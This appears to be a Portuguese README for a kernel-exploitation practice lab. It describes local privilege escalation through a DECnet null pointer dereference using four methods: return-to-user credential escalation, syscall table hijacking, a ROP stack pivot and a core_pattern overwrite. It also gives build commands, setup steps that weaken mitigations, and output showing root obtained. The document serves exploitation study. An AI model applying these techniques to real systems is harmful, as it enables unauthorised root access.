
Prática de LPE no kernel Linux com uma vulnerabilidade de NPD
Praticando diferentes técnicas de exploração do kernel Linux com minha vulnerabilidade DECnet e mapeamento de página nula habilitado.
Tudo desabilitado: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
A execução de código é redirecionada para a função output no espaço do usuário, que invoca commit_creds(prepare_kernel_cred(0)).
Interceptação de Syscall
Troca o endereço do manipulador da chamada de sistema mkdir dentro da sys_call_table por uma função semelhante à do Cenário 1.
SMEP e KPTI habilitados: qemu-system-x86_64 -append "nosmap nokaslr"
A execução de código é redirecionada para um stack pivot que define $rsp para uma cadeia ROP na página nula.
Helper de Modo de Usuário
O sysctl core_pattern é sobrescrito para especificar um comando a ser executado com privilégios elevados ao despejar core.
O programa é então interrompido com o sinal SIGABRT para disparar o script de modo de usuário.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
Configure o DECnet como root:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
Execute o exploit como usuário não privilegiado:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#